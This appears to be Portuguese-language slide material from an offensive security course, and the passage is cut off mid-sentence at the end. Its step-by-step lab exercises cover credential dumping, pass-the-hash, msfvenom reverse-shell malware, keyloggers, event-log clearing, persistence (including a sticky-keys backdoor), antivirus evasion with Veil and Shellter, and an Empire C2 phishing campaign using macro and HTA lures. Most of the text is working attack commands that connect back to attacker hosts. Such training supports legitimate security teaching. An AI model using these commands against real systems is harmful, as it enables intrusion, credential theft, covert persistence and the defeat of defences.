Obter credenciais de logon da memória em clear text wce –w Salvar o resultado obtido em um arquivo texto wce –o Gerar um hash NTLM wce -g LaZagne O LaZagne é uma aplicação que obtém as senhas armazenadas no computador local. Com o objetivo de localizar senhas dos softwares mais comuns, o LAZGNE suporta 22 programas na plataforma microsoft Windows e 12 em sistemas operacionais Linux/Unix. O LaZagne poder ser obtido no endereço: https://github.com/AlessandroZ/LaZagne/r eleases/ LaZagne Obter a senha de todos os softwares possíveis laZagne.exe all Obter a senha de um software em especifico laZagne.exe browsers (onde browsers é o software) Gravar a senha em um arquivo texto laZagne.exe all –w Ajuda laZagne.exe all –w Lembre-se que para conseguir algumas senhas será necessário realizar o bypass no UAC antes de executar o LaZgne. Softwares Suportados Exercicio 11 (Quebrando a senha) 1– Abra um novo terminal (shell) e verifique o arquivo criado com os hashes. cat /tmp/senhas.txt 2– Instalar o John The Ripper (Não fazer no KALI) cd /opt wget http://www.openwall.com/john/j/john-1.8.0-jumbo-1.tar.xz tar -xvJf john-1.8.0-jumbo-1.tar.xz mv john-1.8.0-jumbo-1 john rm john-1.8.0-jumbo-1.tar.xz su cd john/src ./configure make –sj <quantidade de cores configurados para a sua máquina virtual no VMWARE> Exemplo: make –sj 4 3– Executar o John para obter a senha através dos hashes capturados. john --format=nt /tmp/senhas.txt 4– Quais foram as senhas que o John descobriu? http://www.openwall.com/john/j/john-1.8.0-jumbo-1.tar.xz Movimentação Lateral Passh the Hash Exercicio 12 (Pass the hash) 1- Procurar pelo exploit psexec. search psexec 2– Selecionar o exploit psexec. msf > use exploit/windows/smb/psexec 3– Configurar o payload de conexão reversa HTTP do meterpreter. msf exploit(psexec) > set payload windows/meterpreter/reverse_https 4– Verificar as opções de configuração. show options 5 – Realizar a configuração para que o payload realize a conexão reversa em seu computador, na porta TCC 443. 6 – Configurar o usuário e hash para a exploração. (é essencial que tenha realizado o Passo ZERO do exercício 8 ). set smbuser <usuario> set smbpass <hash> Exemplo - Usando o hash: Administrador:500:aad3b435b51404eeaad3b435b51404ee:d208bd92b52f7cb48eb64c53dbd34552::: A configuração seria: set smbuser administrador set smbpass aad3b435b51404eeaad3b435b51404ee:d208bd92b52f7cb48eb64c53dbd34552 Exercicio 12 (Pass the hash) 7– Executar a exploração. exploit -j –z 8– Interagir com a sessão aberta e acessar o meterpreter. 9 – Obter privilégio de sistema. (Talvez seja necessário executar o bypassuac, consulte o passo 4 do exercício 5). 10 – Obter o hash. 11– Verifique qual processo você utiliza na exploração e qual é o processo do explorer.exe. 12– Migre para o processo explorer.exe. migrate <número do processo do explorer.exe> Ou migrate –N explorer.exe Para que tenha acesso a recursos do alvo, como tela, teclado, webcam e outros dispositivos com os quais o usuário interage, é necessário que seja realizada a migração para o processo explorer.exe. 13– Obtenha um screenshoot da tela do alvo. screenshot –p /tmp/tela.jpg Exercicio 12 (Pass the hash) 14 – Ative o Keylogger. a - Iniciar a captura do teclado. keyscan_start b - Abra o bloco de notas no Windows 7 e digite algo. Volte ao meterpreter e digite o comando a seguir para visualizar o conteúdo capturado. keyscan_dump c - Desative o keylogger. keyscan_stop Exercicio 13 (usando módulos) 1 – Continuando a partir da exploração do exercício anterior, criar o usuário hacker com privilégios administrativos, mas antes obtenha privilégio de SISTEMA. use incognito (carrega o módulo Incognito) add_user hacker minhasenha (digite uma senha de sua escolha no lugar de minhasenha) add_localgroup_user Administradores hacker 2 – Obter hash dos usuários. migrate -N lsass.exe hashdump 3– Ativar o serviço RDP no computador alvo. run post/windows/manage/enable_rdp 4 – Realizar o portfoward para o alvo portfwd add -l 3389 -r <ip vega> -p 3389 5– Realizar acesso RDP Através da sua estação de trabalho maliciosa (windows ou linux) acessar via rdp o ip da sua c2 para acessar a vega. Exercicio x (script) 1– Criar script para automatizar montagem da C2 cd ~ mkdir scripts cd scripts nano use multi/handler set payload windows/meterpreter/reverse_https set LHOST 0.0.0.0 set LPORT 443 set EXITONSESSION false exploit -j –z salvar e fechar 2 – Abrir o msfconsole usando o script msfconsole -r c2.rb msfconsole -r c2.rb Exercicio 14 (backdoor com msfvenom) 1– Crie o seu malware com o encode shikata_ga_nai. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.16.10 LPORT=443 -e x86/shikata_ga_nai -i 20 -f exe > /tmp/malware.exe 2– Disponibilize o malware por um webserver. cd /tmp python –m SimpleHTTPServer 80 3– Abra o metasploit em outra janela do terminal escutando na porta 443 de uma conexão reversa do meterpreter. msfconsole msf > use multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.16.10 msf exploit(handler) > set LPORT 443 msf exploit(handler) > set exitonsession false msf exploit(handler) > exploit -j -z Antes de executar o MALWARE você deve ter alguémpreparado para receber a conexão. Está é a função do multi/handler, que neste caso ficará escutando e esperando para receber a conexão reversa do meterpreter. Exercicio 14 (backdoor com msfvenom) 4 – No Windows você deverá abrir o browser acessando o IP de seu computador (LINUX – DEBIAN) e fazer download do malware para o seu desktop. • http://192.168.16.10/malware.exe 5– Executar o malware. 6 – No C:\ do Windows criar uma pasta chamada Confidencial e dentro desta pasta criar um arquivo texto com o nome de secreto.txt, escrevendo o texto SECRETO dentro do arquivo. 7 – Voltar para Debian Linux e no metasploit interagir com a sessão do meterpreter. 8 – Obter o privilégio de SISTEMA no computador alvo. 9 – Obter o hash. http://192.168.16.10/malware.exe 10– realizar o download do arquivo secreto. download c://confidencial//secreto.txt /tmp/ Se não conseguiu talvez o nome do seu arquivo esteja errado. Verifique o nome do arquivo e tente realizar o download com o comando. download c://confidencial//secreto.txt.txt 11– realizar download da calculadora do windows para a pasta /tmp. download c://windows//system32//calc.exe /tmp/calc.exe 12– Limpar os logs do Event Viewer do Windows para dificultar a tentativas de identificação de seu ataque. clearev 13– Encerre a exploração realizada. Exercicio 14 (backdoor com msfvenom) Exercicio 15 (shell para meterpreter) 1– Confirme se o Firewall do Windows está desativado. 2– Gerar o seu malware. • msfvenom -p windows/shell_bind_tcp LPORT=6666 -f exe > /tmp/malware2.exe 2– Disponibilize o malware por um webserver. • cd /tmp • python -m SimpleHTTPServer 80 3 – Realize download do malware no desktop do Windows e execute o arquivo. 4 – no shell do linux execute o comando. • nc 192.168.16.20 6666 • Será aberto um shell • 5 – Sai do shell com o comando exit e execute novamente o arquivo malware2.exe no Windows. Exercicio 15 (shell para meterpreter) 6– Abra o msfconsole e execute o multi/handler usando o mesmo payload da arquivo malware3.exe. msfconsole msf > use multi/handler msf exploit(handler) > set payload windows/shell_bind_tcp msf exploit(handler) > set RHOST 192.168.16.20 msf exploit(handler) > set LPORT 6666 msf exploit(handler) > set exitonsession false msf exploit(handler) > exploit -j –z 7– Liste a sessão. Agora você possui uma sessão do tipo shell. sessions –l 8– Transforme a sessão em uma sessão do tipo meterpreter. sessions –u <número da sessão> 9– Listar a sessão e interagir com a sessão meterpreter. sessions –l Qual a diferença entre a sessão do shell do Windows e do Meterpreter? sessions –i <número da sessão meterpreter> Exercicio 15 (shell para meterpreter) 10– Obter privilégio de sistema. 11– Obter o hash. 12– Acessar o alvo através do VNC. run vnc Exercicio 16 (persistência) 1– Comprometer o alvo usando alguma das técnicas que você aprendeu. 2– Obter o privilégio de sistema. 3– Migrar para o processo lsass.exe. 4– Desativar antivirus e defesas do alvo. • run getcountermeasure -d –k 5– Realizar a enumeração do alvo. • run winenum • Analisar as informações coletadas com o winenum • (Atentar-se ao local salvo no início da execução do winenum “Saving report to”.) Exercicio 16 (persistência) 6– Criar a persistencia para o alvo sempre se conectar em você. run persistence –A –U –X –i 30 –p 443 –r 192.168.16.10 7 – Reiniciar o Windows e logar como o mesmo usuário que foi comprometido. 8 – Aguardar a conexão no meterpreter. 8 – Aguardar a conexão no meterpreter. 9 – Obter privilégio de SYSTEM. DICAS use exploit/windows/local/persistence set STARTUP SYSTEM set SESSION <NUMERO DA SUA SESSÃO DA INVASÃO> set payload windows/meterpreter/reverse_https set LHOST <IP DO KALI> set LPORT 443 exploit PERSISTENCIA DENTRO DO METERPRETER run persistence -p windows/meterpreter/reverse_tcp -r 10.0.0.132 -p 443 - A -X -i 30 Exercicio 17 (Exploração completa) 1– Comprometer o alvo através da vulnerabilidade do CVE2017-0143(MS17-010) . (Lembre-se de que você não pode ser detectado, seja discreto e use um payload de conexão reversa que seja criptografado e não chame a atenção) 2 – Obter informações inciais do alvo (sysinfo). 3 – Escalar privilégio para SYSTEM. 4 – Desativar defesas do alvo. (antivírus e firewall) 5 – Obter hashes do usuário. 6 – Obter senha em formato de texto. 7 – Ativar persistência. 8– Ativar Keylogger. 9– Ativar o acesso RDP no alvo. 10– Realizar a enumeração (winenum). 11– Realizar o acesso via VNC e reiniciar o computador alvo. Exercicio 17 (Exploração completa) 12– Verificar se a persistência funcionou após o computador ser reiniciado. 13 – No alvo, criar um usuario chamado hacker e inseri-lo no grupo de administradores locais. 14 – Acessar o alvo através de RDP usando o usuário hacker e em seguida fechar a sessão RDP. 15 – Ativar a persistência através do sticky keys. run post/windows/manage/sticky_keys 16– Acessar o alvo via RDP e testar o acesso via sticky keys. Abrir a sesão de RDP mas não inserir o usuário e senha. Apertar a TECLA SHIFT 5 vezes. Será aberto um shell do Windows com privilégio de sistema que fornecerá controle total do ambiente. 17– Limpar logs de evento do computador alvo. • Agora você pode voltar ao alvo quando quiser e de diferentes formas. Matenha o alvo monitorado. Bypass Antivirus VEIL Veil-Evasion – Introducão O Veil-Evasion (https://www.github.com/Veil- Framework/Veil-Evasion/) é uma ferramenta para gerar arquivos executáveis de um payload com o objeto de não ser detectado por soluções de antivírus. O Veil gerará payloads aleatórios e únicos, podemos comparar estes payloads a malwares polymorphic que mudam quando se movem de um host para o outro, dando a eles a vantagem sobre as solucoes antimalware tradicionais baseados em assinaturas, como a maioria dos antivirus. O Veil-Evasion é parte do Veil-Framework (https://github.com/Veil-Framework/Veil), que é uma coleção de ferramentas de segurança ofensivas que implementam vários métodos de ataque focados en evitar a deteção. http://www.github.com/Veil- Veil-Evasion – Linguagens dos Payloads • A partir do Veil-Evasion será possível gerar payloads de forma automática utilizando linguagens como: C C# GO Perl Powershell Python Ruby Veil-Evasion – Linguagens dos Payloads • A partir do Veil-Evasion será possível utilizar payloads como meterpreter/rev_tcp meterpreter/rev_http meterpreter/rev_https shellcode_inject/virtual Veil-Evasion – Gerando o Payload Veil-Evasion - Gerando o Payload • Exemplo: [menu>>]: list [menu>>]: info 32 [menu>>]: use 32 [python/meterpreter/rev_https>>]: options [python/meterpreter/rev_https>>]: set LHOST 10.0.0.200 [i] LHOST => 10.0.0.200 [python/meterpreter/rev_https>>]: set LPORT 443 [i] LPORT => 443 [python/meterpreter/rev_https>>]: generate [>] Please enter the base name for output files (default is 'payload'): payload_python [>] Please enter the number of your choice: 2 Veil-Evasion - Gerando o Payload Resultado final: • [*] Executable written to: /root/veil-output/compiled/payload2.exe • Language: python • Payload: python/meterpreter/rev_https Required • Options: COMPILE_TO_EXE=Y LHOST=10.0.0.200 LPORT=443 • USE_PYHERION=N • Payload File: /root/veil-output/source/payload2.py • Handler File: /root/veil-output/handlers/payload2_handler.rc Veil-Evasion – Command Line Através de linha de compando será possível criar payloads, assim como os criados pelos msfvenon. veil-evasion.py -p go/meterpreter/rev_https -c LHOST=$lhost LPORT=$port –o payload -p = selecionar o payload -c = informar as opções de configuração do payload -o = arquivo de saída para o fonte e binários compilados. Veil-Evasion – Exploração Bypass Antivirus Shellter Shellter – Introducão Executáveis criados através Metasploit, ou por outros framworks de teste de penetração, serão provavelmente detectados pela maioria de fornecedores de antivírus. Usando Shelter, vocêautomaticamente tem um template executável polimórico, já que você pode usar qualquer executável 'autônomo' nativo de 32 bits do Windows executável para hospedar seu shellcode. Por 'autônomo' significa um executável que não é estaticamente ligado a qualquer DLLs de propriedade, além daqueles incluído por padrão no Windows. O Shellter será capaz de infectar outros arquivos executáveis mantendo a funcionalidade original do arquivo infectado. Shellter – Introducão O Shellter é uma ferramenta para a injeção de shellcode de forma dinâmica, sendo um PE infector (etenda PE como um Portable Executable – arquivo executável portátil) dinâmico. Ele pode ser usada para injetar shellcode em aplicações Windows (somente 32-bit). O shellcode pode ser algo seu ou algo gerado através de um framework como o Metasploit. O Shellter tira vantagem da estrutura atual de um arquivo PE e não aplica qualquer modificação que mudará a permissão como de alteração em permissões de acesso em seções da memória (a menos que o usuário precise), adicionando uma seção estra com acesso RWE. O Shellter não é apenas um infector EPO que tenta encontrar um local para inserir uma instrução para redirecionar a execução para o payload. Ao contrário de outros infectors, o engine avançado de infecção do Shellter, nunca transfere o fluxo de execução para um code cave ou para uma secão adicionada no arquivo PE infectado. Você pode realizar download do Shellter através do endereço https://www.shellterproject.com/download/ http://www.shellterproject.com/download/ http://www.shellterproject.com/download/ Shellter – Exploração Exercício 18 – Instalação do Veil Framework 1– Abra o shell do KALI (terminal) e seguir as instruções abaixo. cd ˜ mkdir Tools cd Tools 2– Realizar a clonagem do repositório de instalação do VEIL FRAMEWORK. git clone https://github.com/Veil-Framework/Veil.git 3– Iniciar o processo de instalação do VEIL FRAMEWORK. cd Veil ./Install.sh -c (Será iniciado o processo de clonagem do repositório de instalação por completo do Veil Framework) Continue With Installation? ([y]es/[s]ilent/[N]o): y Quando for exibido a tela de instalação do Python e outras ferramentas,realizar a instalação usando as opções padrões (NEXT -> NEXT-> FINISH) Se tiver problemas no acesso do Veil-Evasion delete o seu perfil do wine e execute o setup do Veil-Evasion. rm -rf ~/.wine/ /root/Tools/03_Exploitation/Veil/Veil-Evasion/setup/setup.sh Exercício 19 – Geração de payloads 1 – Inicie o Veil-Evasion cd ~ cd Tools/PayloadGeneration/Veil ./Veil.py (quem não tiver o VEIL na pasta TOOLS digitar veil-evasion no shell) 2– Selecione o Veil Evasion use 1 3– Listar os payloads disponíveis no Veil-Evasion. list 4- Solicite informações sobre o payload python/meterpreter/rev_https. info 27 5- Selecione o payload python/meterpreter/rev_https para ser utilizado. use 27 6- Verificar as informações que devem ser configuradas no payload. options Exercício 19 – Geração de payloads 7 – Configurar as informações necessárias do payload. set LHOST <IP DO SEU LINUX> set LPORT 443 set USE_PYHERION Y (Fará a criptografia no payload) 8 - Gerar o payload. generate Quando for solicitado o nome do payload, informe: python_payload Quando perguntado sobre como você deseja criar o seu payload, selecione: 1 (default) 7 - Copiar o payload para o alvo e solicitar que seja efetuada a varredura do antivírus no payload copiado. 8 - Ativar o multi/handler no msfconsole utilizando as mesmas configurações realizadas no payload. msfconsole -r /root/veil-output/handlers/python_payload_handler.rc 9 - Executar o payload no alvo e confirmar a exploração. 10 – Repita o exercício usando os payloads a seguir e compare o tamanho entre os arquivos de payload gerados. • go/meterpreter/rev_https; • cs/meterpreter/rev_https Exercício 20 – Veil + Shellcode 1– Selecione o payload go/shellcode_inject/virtual • use go/shellcode_inject/virtual 2– Verifique as configurações e gere o payload • options generate 3– Preparar o shell code A. Selecionar a opção de shell code msfvenom (default); B. Selecionar o payload digitando windows/x64/meterpreter/reverse_https C. Informar o LHOST e LPORT D. Pressionar enter, sem informar opcoes adicionais para o msvenon 4- Definir o nome go_shellcode para o payload 5 – Copiar o Payload para o alvo e preparar o multi/handler para receber a conexão. 6 - Executar o payload no alvo e confirmar a exploração. Exercício 21 – Veil CLI 1– Abra o shell de sua distribuição Linux (terminal). 2– Gere um novo payload go/meterpreter/rev_https. ./Veil.py -t Evasion -p python/meterpreter/rev_https.py --ip 10.0.0.136 --port 443 -o malware -p = selecionar o payload --ip = ip de retorno do shell reverso --port = porta de retorno para o shell reverso. -o = arquivo de saída para o fonte e binários compilados. 3– Copie o payload para o alvo. 4 – Copiar o Payload para o alvo e preparar o multi/handler para receber a conexão. 5 - Executar o payload no alvo e confirmar a exploração. Exercício 22 – Gerando Macros 1– Selecione o payload powershell/meterpreter/rev_https • [menu>>]: use 23 2 – Configure o payload [powershell/meterpreter/rev_https>>]: set LHOST 10.0.0.200 [powershell/meterpreter/rev_https>>]: set LPORT 443 [powershell/meterpreter/rev_https>>]: generate Quando solicitado o nome do arquivo, insira powershell. 3– Copie o path do payload gerado • /root/veil-output/source/powershell.bat Exercício 22 – Gerando Macros 4– Selecione o auxiliar auxiliary/macro_converter [menu>>]: use 2 5 – Configure o auxiliar apontando o arquivo gerando no passo 2. [auxiliary/macro_converter>>]: set POSH_BATCH /usr/share/veil-output/source/macro.bat [auxiliary/macro_converter>>]: generate 6– Visualize o macro gerado. /usr/share/veil-output/source/macrofinal.txt Este arquivo poderá ser adicionado como macro em aplicativos do Microsoft Office como Word ou Excel. Em exercícios seguintes você testará o arquivo MACRO. Exercício 23 – Veil e PSEXEC (Movimentação Lateral) 1– Gere um payload através de linha de comando no Veil 2 – Ative o multi/handler no msfconsole para receber a conexão do payload que você gerou. 3 – Envie o payload para o alvo através do PSEXEC, usando a técnica de PtH (Pass the Hash) psexec.py -hashes <hash do alvo> usuário@IP_DO_ALVO cmd.exe -c PAYLOAD_GERADO.exe Exemplo: psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:0cb6948805f797bf2a82807973b89537 administrator@10.0.0.100 cmd.exe -c payload.exe Ou psexec.py usuário:’senha’@IP_DO_ALVO cmd.exe –c PAYLOAD_GERADO.exe mailto:administrator@10.0.0.100 Exercício 24 – Instalação do Shellter 1– Abra o shell do KALI (terminal) e seguir as instruções abaixo. 2– Realize a instalação do Shellter apt-get update apt-get install shellter Exercício 25 – Infeção de PE 1– Realize do download do arquivo putty.exe no KALI através do site https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe 2 – Abra o shell do KALI (terminal) e seguir as instruções abaixo. 3 – Inicie o Shellter. shellter 4– Selecione o modo Auto digitando a letra A. 5– Insira o caminho do arquivo executável que você quer infectar /root/Downloads/putty.exe 6 – Em ”Enable Stealth Mode” digite a opção Y para garantir que as funções de seu arquivo executável sejam preservadas. 6 – Selecionar para usar um payload listado pressionando a letra L. 7 – Selecionar o payload Meterpreter_Reverse_HTTPS pressionando digitando o número 3. 8 – Insira o endereço de sua distribuição LINUX em SET LHOST. • 9 – Insira a porta 443 em SET LPORT. Exercício 25 – Infeção de PE 10– Será iniciada a infecção do arquivo PE. Este processo pode demorar alguns minutos. 11– Após o términio de infecção, será exibido uma mensagem solicitando que pressione a tecla ENTER. Após pressionar a tecla solicitada o shellter será finalizado. 12– Abra o msfconsole e ative o exploit multi/handler com as mesmas configuracoes de payload, lhost e lport utilizadas no shellter. 13 – Copie o arquivo infectado no alvo e o executeem seguida. • 14 – Você deve receber o shell do alvo em seu msfconsole. Conquistando com EMPIRE PowerShell Windows PowerShell é um shell de linha de comandos desenvolvido pela Microsoft, com o propósito de automatizar tarefas e gerenciar configurações do sistema operacional. O PowerShell providencia um accesso a diversas bibliotecas do Microsoft Windows, permitindo com que administradores automatizem tarefas administrativas locais ou remotas. No PowerShell, as tarefas administrativas são geralmente realizadas por cmdlets, que são classes especializadas de .NET para implementar uma operação em particular. Um conjunto de cmdlets podem ser combinados em scripts, executáveis, ou instanciando classes .NET (ou Objetos WMI/COM). PowerShell POST EXPLOITATION LANGUAGE DA MICROSOFT Porque usar Power Shell no processo de pós exploração? • Acesso simples para sockets de rede; • Habilidade de montar binários maliciosos na memória; • Acesso direto para o Win 32 API; • Interface simples para o WMI; • Fácil acesso para bibliotecas de criptografia; • Dificuldade de detecção por antivírus e por ferramentas convencionais de segurança – “Considerado confiável"; • Não toca no disco, posso executar todos os meus processos direto na memória, dificultando a identificação do artefato malicioso; • É nativo em todos os Microsoft Windows 7+. PowerShell Malwares Tarefas comuns de um malware: • Dowload + Executar código; • Interagir com C2; • Persistência; • Se esconder; • Roubar. Malware Vawtrack Malware Poshcoder TODAS Tarefas possíveis através do uso do Powershell. Alguns malwares que usam Powershell: Falar sobre powersniff • Preshin; • Poshcoder; • Poweliks; • HappyCat; • Powerworm; • Vawtrack. PowerShell Segurança Ofensiva Existem diversas ferramentas com foco em segurança ofensiva que usam todo o poder do Microsoft Powershell para comprometer um sistema operacional Microsoft Windows. Estas ferramentas ou frameworks contém scripts com a capacidade de exploração, escalação de privilégio, gerenciamento de processos, coleta de informações e diversas outras ações que poderão ser utilizadas durante um ataque. As principais ferramentas são: • Powersploit (https://github.com/mattifestation/PowerSploit); • Nishang (https://github.com/samratashok/nishang); • Veil Power Tools (https://github.com/PowerShellEmpire/PowerTools). Empire Empire é uma agente de pós-exploração que utiliza PowerShell com uma arquitetura flexível e comunicação criptografada. O Empire implementa a habilidade de executar agentes PowerShell sem precisar do powershell.exe, podendo distribuir uma variedade de módulos de exploração, mantendo uma comunicação adaptável para evadir a detecção de rede, tudo empacotado em um framework focado na usabilidade. Funções de um RAT, com a flexibilidade de um C2 e toda a capacidade que o Powershell possui para assumir o controle do sistema operacional Microsoft Windows. Empire Arquitetura Arquitetura Cliente Servidor, sendo: • Servidor: Python • Cliente: Powershell • Apoiado por uma base de dados backend que mantém as configurações utilizadas salvas. Composto por: • Listeners; • Stagers; • Agents. Empire Arquitetura - Listener Conceito similar ao multi/handler do Metasploit, mas com muitas melhorias. Funções interessantes: • Kill dates e Working Hours; • Foreign listeners; • White e Black lists de IP. Empire Arquitetura - Stager • Bloco de comando que vai carregar um agente do empire que é gerado por um listener. • Formatos: • dll; • hop_php; • launcher; • launcher_vbs; • launcher_bat; • pth_wmis; • war; • ducky; • hta; • macro. Empire Arquitetura – Agents - Módulos Mais de 100 módulos. • Code_execution – Formas de executar um código; • Credencials – Coletar e usar credenciais; • Collection – Coleta de dados; • Lateral_movement – Movimentação pela rede; • Management – Gerenciamento do host; • Persistência – Manter-se conectado ao host; • Privesc – Escalação de privilégio; • Situational Awareness – Conscientização da rede; • Trollsploit – para diversão. Empire Mas o que realmente eu consigo fazer e até onde um consigo chegar usando o EMPIRE? Fases de um ataque DEMO Uso do Empire nas fases de um ataque. Exercício 26 - Estudo de Caso • Seu objetivo será comprometer um computador alvo através de uma campanha de phishing. Após comprometer o computador alvo você terá que realizar as seguintes tarefas: - Criar um mecanismo de persitência; - Manter o computador alvo sendo monitorado; - Coletar informações como senhas e arquivos confidenciais; - Trollar o alvo; - Realizar a movimentação lateral (opcional). Preparação Ativação do EMPIRE Objetivo: Instalar e acessar o EMPIRE. 1– No shell do LINUX (terminal) acessar o seu diretório home. $ cd ~ 2– Criar um diretório para armazenar o EMPIRE. $ mkdir gitrepos $ cd gitrepos/ 3– Realizar o download do empire. /gitrepos$ git clone https://github.com/PowerShellEmpire/Empire.git 4– Instalar o Empirec /gitrepos$ cd Empire/setup/ /gitrepos/Empire$ ./install.sh Insira uma senha segura quando exibido a mensagem a seguir. [>] Enter server negotiation password, enter for random generation: < 5– Executar o Empire com permissões administrativas e confirmar se a instalação foi bem sucedida. /gitrepos/Empire$ ./empire Preparação Ativação do listener rObjetivo: Preparar o listener para receber as conexões dos alvos comprometidos. 1– Acessar o Empire cd /Tools/C2/Empire ./empire 1– Após executar o EMPIRE, acessar o módulo de listeners. (Empire) > listeners 2– Verificar as configurações do listener. (Empire: listeners) > uselistener http (Empire: listeners) > info 3- Configurar o horário de trabalho do agente que será utilizado pelo listener. (Empire: listeners) > set WorkingHours 00:00-23:59 4– Configurar o endereço IP do HOST que receberá a conexão reversa no listener. (Empire: listeners) > set Host 192.168.16.10 5– Configurar a porta TCP que receberá a conexão reversa no listener. (Empire: listeners) > set Port 80 Preparação Instalação do Empire 6– Configurar o nome do listener. (Empire: listeners) > set Name PhishingCampaign 7– Confirmar se as configurações do listener estão corretas, conforme solicitado nos exercícios anteriores. (Empire: listeners) > info 8– Ativar o listener. (Empire: listeners) > execute 9– Confirmar a execução do listener. (Empire: listeners) > listeners Se tudo deu certo, você receberá como retorno a informação similar a figura a seguir. Exploração Client side attack - Macro Objetivo: Realizar a exploração do alvo através de um ataque client side utilizando uma planilha EXCEL com macro. 1– Criar um arquivo macro que será inserido em um documento Microsoft Office. (Empire: listeners) > usestager windows/macro PhishingCampaign 2– Verificar as configurações do stager de macro. (Empire: listeners) > info 3– Gerar o arquivo de macro. (Empire: listeners) > execute Se tudo der certo, será gerado um arquivo macro no /tmp. [*] Stager output written out to: /tmp/macro 4– Verifique o conteúdo do arquivo /tmp/macro. Abra uma outra janela de terminal e visualize o conteúdo do arquivo executando o comando: cat /tmp/macro Selecione e copie todo o conteúdo do arquivo. Exploração Client side attack - Macro 5 – Abrir o Microsoft Excel 2013, clique no menu View, no botão Macros e no submenu View Macros. Será aberta a caixa de Macro, digite a palavra pwned em Macro name e clique no botão Create, conforme demonstrado na imagem a seguir. Exploração Client side attack - Macro • 6 – Será aberta a tela do Visual Basic for Applications. Delete todo o conteúdo existente e cole o conteúdo copiado do arquivo de macro gerado pelo agente do EMPIRE. • Modifique a declaração Sub Documento_Open para Sub Auto_Open. • O resultado final deverá ser algo similar a imagem apresentada a seguir. Exploração Client side attack - Macro 7 – Salve o documento como um nome “chamativo” como Cargos_Salarios_2015, selecionando o tipo do arquivo como “Excel 97-2003 Workbook(*.xls)”. 8– Incremente o conteúdo do arquivo e *envie para o alvo. * No seu caso bastará copiar o arquivo gerado para o DESKTOP do usuário Aluno na sua máquina virtual com o Microsoft Windows 7 que será explorada durante os exercícios. Em uma condição real o usuário alvo poderá receber o arquivo por e-mail, através de um link de download ou através de uma acesso a um compartilhamento de rede existente. Exploração Client side attack - Macro 9 – Abrir o arquivo gerado no alvo com o usuário Aluno. Clicar no botão “Enable Content” ativando o macro. Neste instante o computador alvo será comprometido. • Se tudo der certo você receberá uma mensagem no Empire como: • [+] Initial agent 1DU2TFB32SBVRBRN from 192.168.133.141 now active 10– Verificar as informações do agente • (Empire: stager/macro) > agents 11– Interagir com o agente. • (Empire: agents) > interact <name> • Exemplo: (Empire: agents) > interact ULVXEXAHYKSFBD4H 12– Renomear o agente para facilitar a interação. • (Empire: ULVXEXAHYKSFBD4H) > rename pwned01 Exploração Client side attack – HTA file Objetivo: Realizar a exploração do alvo através de um ataque client side utilizando um arquivo HTA. 1– Criar um arquivo HTA. (Empire: pwned01) > listeners (Empire: listeners) > usestager windows/hta PhishingCampaign 2– Verificar as configurações do stager de hta. (Empire: stager/hta) > info 3– Gerar o arquivo hta. (Empire: stager/hta) > set OutFile /tmp/relatorio.hta (Empire: stager/hta) > execute Se tudo der certo, será gerado um arquivo macro no /tmp. [*] Stager output written out to: /tmp/relatorio.hta 4– Verifique o conteúdo do arquivo /tmp/relatorio.hta. Abra uma outra janela de terminal e visualize o conteúdo do arquivo executando o comando: • cat /tmp/relatorio.hta Exploração Client side attack – HTA file 5 – Disponibilize o acesso ao arquivo HTA através de um servidor WEB (Criaremos um servidor WEB local para dar a continuidade no exercício) Abra uma nova janela do terminal e nesta nova janela digite os comandos a seguir: cd /tmp python -m SimpleHTTPServer 8080 Agora você possui um WebServer funcionando na porta 8080. 6 – Utilizando o usuário Aluno, abra o internet explorer e acesse o arquivo relatório.hta através do endereço do WebServer criado http://192.168.16.10:8080/relatorio.hta. 7 – Na caixa de diálogo que será exibida informe que você deseja abrir o arquivo relatório.hta e clique em seguida no botão permitir da caixa de segurança do Internet Explorer. Se tudo der certo você receberá uma mensagem no Empire como: [+] Initial agent GDFNGHKX13PT4T4W from 192.168.133.141 now active Exploração Client side attack – HTA file 8 – Interagir com o agente. (Empire: stager/macro) > agents (Empire: agents) > interact <name> • Exemplo: (Empire: agents) > interact GDFNGHKX13PT4T4W 9– Renomear o agente para facilitar a interação. • (Empire: GDFNGHKX13PT4T4W) > rename pwned02 Consciência Situacional Sem privilégios administrativos • Objetivo: Obter a consciência situacional para realizar ações mais efetivas no alvo. 1–Obter informações do computador alvo. (Empire: pwned02) > info (Empire: pwned02) > sysinfo (Empire: pwned02) > usemodule situational_awareness/host/winenum (Empire: situational_awareness/host/winenum) > execute (Empire: situational_awareness/host/winenum) > back 2 – Preencher a tabela a seguir com as informações obtidas. Anotar outras informações que entenda ser importante para o processo de exploração e refletir em como as informações obtidas podem ser utilizadas contra o alvo. hostname IP Interno IP Externo DNS Primário DNS Secundário Sistema Operacional Antivírus Persistência Sem privilégios administrativos • Objetivo: Criar uma estrutura para manter a conexão permanente com o alvo. 1– Criar persistência para que o computador alvo se conecte ao EMPIRE sempre que for reiniciado. (Empire: pwned02) > usemodule persistence/userland/registry (Empire: persistence/userland/registry) > set Listener PhishingCampaign (Empire: persistence/userland/registry) > execute (Empire: persistence/userland/registry) > back 2 – Criar persistência para que o computador alvo se conecte de 15 em 15 minutos ao EMPIRE sempre que uma sessão for encerrada, escondendo o script em um ADS (Alternet Data Stream). (Empire: pwned02) > usemodule persistence/userland/schtasks (Empire: persistence/userland/schtasks) > set Listener PhishingCampaign (Empire: persistence/userland/schtasks) > set IdleTime 15 (Empire: persistence/userland/schtasks) > set ADSPath C:\Users\Aluno\AppData\Local\Microsoft\Windows\Appdata:script.txt (Empire: persistence/userland/schtasks) > execute (Empire: persistence/userland/schtasks) > back 3 – Reinicie o computador alvo e realize o logon com o usuário Aluno. Verifique se uma nova conexão foi gerada com o EMPIRE após o logon. Escalação de Privilégio Objetivo: Obter um privilégio de SYSTEM para manter o controle total do alvo. 1– Interagir com o novo agente gerado, após reiniciar o computador alvo para testar a persistência. (Empire: stager/macro) > agents (Empire: agents) > interact <name> Exemplo: (Empire: agents) > interact ULVXEXAHYKSFBD4H 2– Renomear o agente para facilitar a interação. (Empire: ULVXEXAHYKSFBD4H) > rename pwned02new 3– Analisar possibilidades de escalação de privilégio (Empire: pwned02new) > usemodule privesc/powerup/allchecks (Empire: privesc/powerup/allchecks) > execute Você receberá um alerta para usar o módulo bypassuac. [*] Run a BypassUAC attack to elevate privileges to admin. (Empire: privesc/powerup/allchecks) > back Escalação de Privilégio 4– Executar o módulo bypassuac em seu agente. (Empire: pwned02new) > bypassuac PhishingCampaign pwned02new Será 